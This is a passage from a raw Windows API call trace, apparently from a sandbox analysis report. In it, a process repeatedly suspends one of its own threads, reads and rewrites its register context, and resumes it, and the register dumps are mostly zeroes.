[66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.583] ResumeThread (hThread=0x130) returned 0x1
[0130.583] CloseHandle (hObject=0x130) returned 1
[0130.583] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.657] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.882] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0130.882] SuspendThread (hThread=0x130) returned 0x0
[0130.882] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021f718, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1386fa0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.958] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021f710, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.976] ResumeThread (hThread=0x130) returned 0x1
[0130.976] CloseHandle (hObject=0x130) returned 1
[0130.978] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.045] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.104] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.153] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0131.153] SuspendThread (hThread=0x130) returned 0x0
[0131.153] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021f668, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12a2200, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.154] ResumeThread (hThread=0x130) returned 0x1
[0131.154] CloseHandle (hObject=0x130) returned 1
[0131.154] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.200] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.243] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0131.243] SuspendThread (hThread=0x130) returned 0x0
[0131.243] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021f6d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x16e7ffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.244] ResumeThread (hThread=0x130) returned 0x1
[0131.244] CloseHandle (hObject=0x130) returned 1
[0131.244] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.288] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.330] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0131.331] SuspendThread (hThread=0x130) returned 0x0
